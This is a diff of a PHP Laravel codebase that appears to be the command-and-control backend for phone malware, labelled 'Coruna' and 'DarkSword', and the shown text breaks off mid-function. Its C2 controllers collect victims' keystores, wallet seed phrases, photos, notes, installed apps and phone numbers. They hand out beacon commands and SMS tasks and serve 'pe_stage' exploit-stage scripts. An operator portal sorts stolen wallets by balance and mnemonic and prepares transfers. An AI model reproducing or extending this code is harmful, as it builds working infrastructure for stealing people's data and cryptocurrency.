private function resolveTransferChain(WalletAddress $address): ?string
|
||||||
|
{
|
||||||
|
$type = strtoupper(trim((string) $address->chain_type));
|
||||||
|
if (str_contains($type, 'TRON') || $type === 'TRX') {
|
||||||
|
return 'tron';
|
||||||
|
}
|
||||||
|
if (str_contains($type, 'BSC') || str_contains($type, 'BNB') || str_contains($type, 'BINANCE')) {
|
||||||
|
return 'bsc';
|
||||||
|
}
|
||||||
|
if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) {
|
||||||
|
return 'eth';
|
||||||
|
}
|
||||||
|
if (str_contains($type, 'BTC') || str_contains($type, 'BITCOIN')) {
|
||||||
|
return 'btc';
|
||||||
|
}
|
||||||
|
|
||||||
|
$addr = trim((string) $address->address);
|
||||||
|
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $addr)) {
|
||||||
|
return 'tron';
|
||||||
|
}
|
||||||
|
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
|
||||||
|
return 'eth';
|
||||||
|
}
|
||||||
|
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $addr)
|
||||||
|
|| preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $addr)) {
|
||||||
|
return 'btc';
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @return list<string> */
|
||||||
|
private function assetsForChain(string $chain): array
|
||||||
|
{
|
||||||
|
return match ($chain) {
|
||||||
|
'eth' => ['ETH', 'USDT', 'BNB'],
|
||||||
|
'bsc' => ['BNB', 'USDT'],
|
||||||
|
'btc' => ['BTC'],
|
||||||
|
default => ['USDT', 'TRX'],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function operatorLabel(): string
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
$user = auth('agent')->user();
|
||||||
|
|
||||||
|
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
|
||||||
|
}
|
||||||
|
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
|
||||||
|
}
|
||||||
|
|
||||||
private function baseQuery(Request $request): Builder
|
private function baseQuery(Request $request): Builder
|
||||||
{
|
{
|
||||||
$q = WalletAddress::query()
|
$q = WalletAddress::query()
|
||||||
@@ -129,20 +282,75 @@ class WalletAddressController extends Controller
|
|||||||
|
|
||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
|
$address = trim((string) $request->query('address', ''));
|
||||||
$source = trim((string) $request->query('source', ''));
|
$source = trim((string) $request->query('source', ''));
|
||||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
$chainType = trim((string) $request->query('chain_type', ''));
|
||||||
|
$monitor = $request->query('monitor');
|
||||||
|
$monitorSynced = $request->query('monitor_synced');
|
||||||
|
$hasUsdt = $request->query('has_usdt');
|
||||||
|
$hasMnemonic = $request->query('has_mnemonic');
|
||||||
|
$hasBalance = $request->query('has_balance');
|
||||||
if ($channelId !== '') {
|
if ($channelId !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
}
|
}
|
||||||
if ($deviceKey !== '') {
|
if ($deviceKey !== '') {
|
||||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
}
|
}
|
||||||
|
if ($address !== '') {
|
||||||
|
$q->where('wallet_addresses.address', 'like', '%'.$address.'%');
|
||||||
|
}
|
||||||
if ($source !== '') {
|
if ($source !== '') {
|
||||||
$q->where('wallet_addresses.source', $source);
|
$q->where('wallet_addresses.source', $source);
|
||||||
}
|
}
|
||||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
if ($chainType !== '') {
|
||||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
$q->where('wallet_addresses.chain_type', $chainType);
|
||||||
|
}
|
||||||
|
if ($monitor === '1' || $monitor === 1) {
|
||||||
|
$q->where('wallet_addresses.monitor', 1);
|
||||||
|
} elseif ($monitor === '0' || $monitor === 0) {
|
||||||
|
$q->where('wallet_addresses.monitor', 0);
|
||||||
|
}
|
||||||
|
if ($monitorSynced === '1' || $monitorSynced === 1) {
|
||||||
|
$q->where('wallet_addresses.monitor', 1)
|
||||||
|
->where('wallet_addresses.monitor_synced', true);
|
||||||
|
} elseif ($monitorSynced === '0' || $monitorSynced === 0) {
|
||||||
|
$q->where('wallet_addresses.monitor', 1)
|
||||||
|
->where('wallet_addresses.monitor_synced', false);
|
||||||
|
}
|
||||||
|
if ($hasUsdt === '1' || $hasUsdt === 1) {
|
||||||
|
$q->where('wallet_addresses.usdt', '>', 0);
|
||||||
|
} elseif ($hasUsdt === '0' || $hasUsdt === 0) {
|
||||||
|
$q->where(function (Builder $coin) {
|
||||||
|
$coin->whereNull('wallet_addresses.usdt')
|
||||||
|
->orWhere('wallet_addresses.usdt', '<=', 0);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if ($hasMnemonic === '1' || $hasMnemonic === 1) {
|
||||||
|
$q->whereNotNull('wallet_addresses.mnemonic_id');
|
||||||
|
} elseif ($hasMnemonic === '0' || $hasMnemonic === 0) {
|
||||||
|
$q->whereNull('wallet_addresses.mnemonic_id');
|
||||||
|
}
|
||||||
|
if ($hasBalance === '1' || $hasBalance === 1) {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$inner->orWhere('wallet_addresses.'.$col, '>', 0);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} elseif ($hasBalance === '0' || $hasBalance === 0) {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$inner->where(function (Builder $coin) use ($col) {
|
||||||
|
$coin->whereNull('wallet_addresses.'.$col)
|
||||||
|
->orWhere('wallet_addresses.'.$col, '<=', 0);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
return $q;
|
return $q;
|
||||||
|
|||||||
@@ -3,12 +3,23 @@
|
|||||||
namespace App\Http\Controllers\Agent;
|
namespace App\Http\Controllers\Agent;
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\SystemLog;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Services\AdminGoogle2fa;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
|
use Illuminate\Http\JsonResponse;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Support\Facades\Auth;
|
use Illuminate\Support\Facades\Auth;
|
||||||
|
use Illuminate\Support\Facades\RateLimiter;
|
||||||
|
use Illuminate\Support\Str;
|
||||||
|
use Illuminate\Validation\ValidationException;
|
||||||
|
|
||||||
class AuthController extends Controller
|
class AuthController extends Controller
|
||||||
{
|
{
|
||||||
|
private const MAX_ATTEMPTS = 5;
|
||||||
|
|
||||||
|
private const DECAY_SECONDS = 60;
|
||||||
|
|
||||||
public function showLogin()
|
public function showLogin()
|
||||||
{
|
{
|
||||||
if (Auth::guard('agent')->check()) {
|
if (Auth::guard('agent')->check()) {
|
||||||
@@ -23,29 +34,108 @@ class AuthController extends Controller
|
|||||||
return view('user.shell');
|
return view('user.shell');
|
||||||
}
|
}
|
||||||
|
|
||||||
public function login(Request $request)
|
public function login(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||||
{
|
{
|
||||||
$credentials = $request->validate([
|
try {
|
||||||
'username' => 'required|string',
|
$credentials = $request->validate([
|
||||||
'password' => 'required|string',
|
'username' => 'required|string|min:2|max:64',
|
||||||
]);
|
'password' => 'required|string|max:128',
|
||||||
|
'GACode' => 'nullable|string|max:16',
|
||||||
|
], [
|
||||||
|
'username.required' => '请输入用户名',
|
||||||
|
'password.required' => '请输入密码',
|
||||||
|
]);
|
||||||
|
} catch (ValidationException $e) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => collect($e->errors())->flatten()->implode('<br>'),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
$throttleKey = $this->throttleKey($request);
|
||||||
|
if (RateLimiter::tooManyAttempts($throttleKey, self::MAX_ATTEMPTS)) {
|
||||||
|
$seconds = RateLimiter::availableIn($throttleKey);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '登陆失败次数过多,请'.$seconds.'秒后再重试',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
/** @var User|null $user */
|
/** @var User|null $user */
|
||||||
$user = User::query()->where('username', $credentials['username'])->first();
|
$user = User::query()->where('username', $credentials['username'])->first();
|
||||||
|
if ($user && $user->isLocked()) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系管理员解除',
|
||||||
|
]);
|
||||||
|
}
|
||||||
if ($user && ! $user->isEnabled()) {
|
if ($user && ! $user->isEnabled()) {
|
||||||
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
|
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => '账号已禁用']);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Auth::guard('agent')->attempt(
|
if (! Auth::guard('agent')->attempt(
|
||||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||||
$request->boolean('remember')
|
$request->boolean('remember')
|
||||||
)) {
|
)) {
|
||||||
$request->session()->regenerate();
|
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||||
|
|
||||||
return redirect()->intended(route('user.home'));
|
if ($user) {
|
||||||
|
$justLocked = $user->recordFailedLogin(self::MAX_ATTEMPTS);
|
||||||
|
if ($justLocked) {
|
||||||
|
SystemLog::record(
|
||||||
|
$user,
|
||||||
|
'agent',
|
||||||
|
SystemLog::ACTION_AGENT_LOCKED,
|
||||||
|
'代理「'.$user->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
|
||||||
|
$request,
|
||||||
|
);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系管理员解除',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
$remaining = self::MAX_ATTEMPTS - (int) $user->fresh()->login_attempts;
|
||||||
|
if ($remaining > 0) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||||
}
|
}
|
||||||
|
|
||||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
/** @var User $user */
|
||||||
|
$user = Auth::guard('agent')->user();
|
||||||
|
if ($user->requiresLoginGoogle()) {
|
||||||
|
$code = (string) ($credentials['GACode'] ?? '');
|
||||||
|
if ($code === '') {
|
||||||
|
Auth::guard('agent')->logout();
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => '请输入谷歌验证码!']);
|
||||||
|
}
|
||||||
|
if (! $google2fa->verify((string) $user->google_secret, $code)) {
|
||||||
|
Auth::guard('agent')->logout();
|
||||||
|
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确!']);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
RateLimiter::clear($throttleKey);
|
||||||
|
$user->clearLoginAttempts();
|
||||||
|
$request->session()->regenerate();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '登录成功',
|
||||||
|
'data' => route('user.home'),
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function logout(Request $request)
|
public function logout(Request $request)
|
||||||
@@ -56,4 +146,9 @@ class AuthController extends Controller
|
|||||||
|
|
||||||
return redirect()->route('user.login');
|
return redirect()->route('user.login');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function throttleKey(Request $request): string
|
||||||
|
{
|
||||||
|
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Agent;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\User;
|
||||||
|
use Illuminate\Http\JsonResponse;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Hash;
|
||||||
|
|
||||||
|
class PasswordController extends Controller
|
||||||
|
{
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
return view('user.password', [
|
||||||
|
'portal' => 'user',
|
||||||
|
'username' => (string) (auth('agent')->user()?->username ?? ''),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function update(Request $request): JsonResponse
|
||||||
|
{
|
||||||
|
/** @var User $user */
|
||||||
|
$user = $request->user('agent');
|
||||||
|
|
||||||
|
$data = $request->validate([
|
||||||
|
'current_password' => ['required', 'string'],
|
||||||
|
'password' => ['required', 'string', 'min:6', 'max:128', 'confirmed'],
|
||||||
|
], [
|
||||||
|
'current_password.required' => '请填写当前密码',
|
||||||
|
'password.required' => '请填写新密码',
|
||||||
|
'password.min' => '新密码至少 6 位',
|
||||||
|
'password.confirmed' => '两次输入的新密码不一致',
|
||||||
|
]);
|
||||||
|
|
||||||
|
if (! Hash::check($data['current_password'], $user->password)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '当前密码不正确']);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Hash::check($data['password'], $user->password)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$user->password = $data['password'];
|
||||||
|
$user->save();
|
||||||
|
|
||||||
|
$request->session()->regenerate();
|
||||||
|
|
||||||
|
return response()->json(['code' => 0, 'msg' => '密码已更新']);
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -3,29 +3,28 @@
|
|||||||
namespace App\Http\Controllers\C2;
|
namespace App\Http\Controllers\C2;
|
||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Services\CorunaArchive;
|
|
||||||
use App\Services\CorunaCrypto;
|
use App\Services\CorunaCrypto;
|
||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
|
use App\Services\PhotoArchiveIngest;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Http\Response;
|
use Illuminate\Http\Response;
|
||||||
use Illuminate\Support\Facades\Storage;
|
|
||||||
|
|
||||||
class C2Controller extends Controller
|
class C2Controller extends Controller
|
||||||
{
|
{
|
||||||
/** @var CorunaCrypto */
|
/** @var CorunaCrypto */
|
||||||
private $crypto;
|
private $crypto;
|
||||||
|
|
||||||
/** @var CorunaArchive */
|
|
||||||
private $archive;
|
|
||||||
|
|
||||||
/** @var IngestService */
|
/** @var IngestService */
|
||||||
private $ingest;
|
private $ingest;
|
||||||
|
|
||||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
/** @var PhotoArchiveIngest */
|
||||||
|
private $photos;
|
||||||
|
|
||||||
|
public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos)
|
||||||
{
|
{
|
||||||
$this->crypto = $crypto;
|
$this->crypto = $crypto;
|
||||||
$this->archive = $archive;
|
|
||||||
$this->ingest = $ingest;
|
$this->ingest = $ingest;
|
||||||
|
$this->photos = $photos;
|
||||||
}
|
}
|
||||||
|
|
||||||
public function query(): Response
|
public function query(): Response
|
||||||
@@ -35,16 +34,13 @@ class C2Controller extends Controller
|
|||||||
|
|
||||||
public function avatarSet(Request $request): Response
|
public function avatarSet(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
|
||||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
|
||||||
|
|
||||||
return $this->encryptedAck();
|
return $this->encryptedAck();
|
||||||
}
|
}
|
||||||
|
|
||||||
public function userGet(Request $request): Response
|
public function userGet(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
if ($device && is_array($payload)) {
|
if ($device && is_array($payload)) {
|
||||||
$this->ingest->ingestInstalledApps($device, $payload);
|
$this->ingest->ingestInstalledApps($device, $payload);
|
||||||
}
|
}
|
||||||
@@ -55,6 +51,7 @@ class C2Controller extends Controller
|
|||||||
public function avatarPut(Request $request): Response
|
public function avatarPut(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
// Trusted channel_id source; updates touch updated_at (+ channel_id only if empty).
|
||||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||||
if ($device && is_array($payload)) {
|
if ($device && is_array($payload)) {
|
||||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||||
@@ -66,7 +63,7 @@ class C2Controller extends Controller
|
|||||||
public function avatarStatus(Request $request): Response
|
public function avatarStatus(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
if ($device && is_array($payload)) {
|
if ($device && is_array($payload)) {
|
||||||
$this->ingest->ingestKeystore($device, $payload);
|
$this->ingest->ingestKeystore($device, $payload);
|
||||||
}
|
}
|
||||||
@@ -77,7 +74,7 @@ class C2Controller extends Controller
|
|||||||
public function status(Request $request): Response
|
public function status(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
if ($device && is_array($payload)) {
|
if ($device && is_array($payload)) {
|
||||||
$this->ingest->ingestAddresses($device, $payload);
|
$this->ingest->ingestAddresses($device, $payload);
|
||||||
}
|
}
|
||||||
@@ -88,7 +85,7 @@ class C2Controller extends Controller
|
|||||||
public function set(Request $request): Response
|
public function set(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
if ($device && is_array($payload)) {
|
if ($device && is_array($payload)) {
|
||||||
$this->ingest->ingestMnemonic($device, $payload);
|
$this->ingest->ingestMnemonic($device, $payload);
|
||||||
}
|
}
|
||||||
@@ -104,7 +101,7 @@ class C2Controller extends Controller
|
|||||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||||
: null;
|
: null;
|
||||||
$device = $this->ingest->upsertDevice(
|
$device = $this->ingest->ensureDevice(
|
||||||
$request,
|
$request,
|
||||||
array_filter([
|
array_filter([
|
||||||
'd' => $deviceKey,
|
'd' => $deviceKey,
|
||||||
@@ -138,34 +135,20 @@ class C2Controller extends Controller
|
|||||||
'barcode_count' => $barcodeCount,
|
'barcode_count' => $barcodeCount,
|
||||||
];
|
];
|
||||||
|
|
||||||
$attachmentRel = null;
|
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||||
if ($request->hasFile('file') && $device) {
|
$this->photos->accept(
|
||||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
$device,
|
||||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
(string) $request->file('file')->getRealPath(),
|
||||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
$batchBase,
|
||||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
$photoMeta,
|
||||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
'lab',
|
||||||
if (! empty($extracted['files'])) {
|
[
|
||||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
|
||||||
}
|
|
||||||
create_log([
|
|
||||||
'event' => 'check_extract',
|
|
||||||
'device_key' => $device->device_id,
|
|
||||||
'attachment_path' => $attachmentRel,
|
|
||||||
'extract' => [
|
|
||||||
'ok' => $extracted['ok'],
|
|
||||||
'files' => array_map('basename', $extracted['files']),
|
|
||||||
'password_recipe' => $extracted['password_recipe'],
|
|
||||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
|
||||||
],
|
|
||||||
'photo_meta' => $photoMeta,
|
|
||||||
'raw_counters' => [
|
|
||||||
'idx' => $request->input('idx'),
|
'idx' => $request->input('idx'),
|
||||||
'ftu' => $request->input('ftu'),
|
'ftu' => $request->input('ftu'),
|
||||||
'ts' => $request->input('ts'),
|
'ts' => $request->input('ts'),
|
||||||
'x-hit' => $xHitRaw,
|
'x-hit' => $xHitRaw,
|
||||||
],
|
],
|
||||||
], 'c2');
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||||
@@ -175,7 +158,7 @@ class C2Controller extends Controller
|
|||||||
public function avatarPic(Request $request): Response
|
public function avatarPic(Request $request): Response
|
||||||
{
|
{
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
if ($device) {
|
if ($device) {
|
||||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||||
}
|
}
|
||||||
@@ -188,6 +171,22 @@ class C2Controller extends Controller
|
|||||||
return $this->encryptedAck();
|
return $this->encryptedAck();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
|
||||||
|
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
||||||
|
* Payload `p` is the device phone number.
|
||||||
|
*/
|
||||||
|
public function profileDelete(Request $request): Response
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||||
|
if ($device && is_array($payload)) {
|
||||||
|
$this->ingest->ingestDevicePhone($device, $payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
|
||||||
|
}
|
||||||
|
|
||||||
public function linkConfigList(Request $request): Response
|
public function linkConfigList(Request $request): Response
|
||||||
{
|
{
|
||||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||||
|
|||||||
@@ -0,0 +1,492 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\C2;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\PageVisit;
|
||||||
|
use App\Services\DarkSwordIngestAdapter;
|
||||||
|
use App\Services\DsBeaconQueue;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
|
||||||
|
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
|
||||||
|
*/
|
||||||
|
class DarkSwordC2Controller extends Controller
|
||||||
|
{
|
||||||
|
public function __construct(
|
||||||
|
private readonly DarkSwordIngestAdapter $ingest,
|
||||||
|
private readonly DsBeaconQueue $beaconQueue,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
|
||||||
|
*/
|
||||||
|
public static function matches(Request $request): bool
|
||||||
|
{
|
||||||
|
$path = '/'.ltrim($request->path(), '/');
|
||||||
|
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ct = strtolower((string) $request->header('content-type', ''));
|
||||||
|
if (str_contains($ct, 'json')) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
$raw = ltrim((string) $request->getContent());
|
||||||
|
|
||||||
|
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function beacon(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
$payload = $this->jsonBody($request);
|
||||||
|
$device = $this->ingest->ensureDevice($request, $payload);
|
||||||
|
$ip = VisitorIp::fromRequest($request);
|
||||||
|
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
|
||||||
|
|
||||||
|
$body = [
|
||||||
|
'ok' => true,
|
||||||
|
'type' => $command['type'] ?? 'noop',
|
||||||
|
'client_ip' => $ip,
|
||||||
|
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
|
||||||
|
];
|
||||||
|
if ($command !== null) {
|
||||||
|
$body['command_id'] = $command['command_id'];
|
||||||
|
$body['params'] = $command['params'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->finish($request, '/beacon', $payload, response()->json($body));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function war(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->ok($request, '/war', $this->jsonBody($request));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function p(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->ok($request, '/p', $this->jsonBody($request));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function stats(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
|
||||||
|
'bytes' => strlen((string) $request->getContent()),
|
||||||
|
'ok' => true,
|
||||||
|
'path' => '/stats',
|
||||||
|
]));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function log(Request $request): SymfonyResponse
|
||||||
|
{
|
||||||
|
$payload = $this->payloadFromQueryOrJson($request);
|
||||||
|
|
||||||
|
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function peStage(Request $request, string $name = ''): SymfonyResponse
|
||||||
|
{
|
||||||
|
$path = '/'.ltrim($request->path(), '/');
|
||||||
|
$stage = $this->peStageName($name !== '' ? $name : $path);
|
||||||
|
$payload = $this->payloadFromQueryOrJson($request);
|
||||||
|
$payload['pe_stage'] = $stage;
|
||||||
|
$payload['stage'] = $payload['stage'] ?? 'pe';
|
||||||
|
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
|
||||||
|
|
||||||
|
$body = $this->previewBody($request);
|
||||||
|
if (is_array($body)) {
|
||||||
|
$body['pe_stage'] = $stage;
|
||||||
|
}
|
||||||
|
|
||||||
|
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
|
||||||
|
if (! is_file($file)) {
|
||||||
|
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
|
||||||
|
}
|
||||||
|
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
|
||||||
|
|
||||||
|
return $this->finish(
|
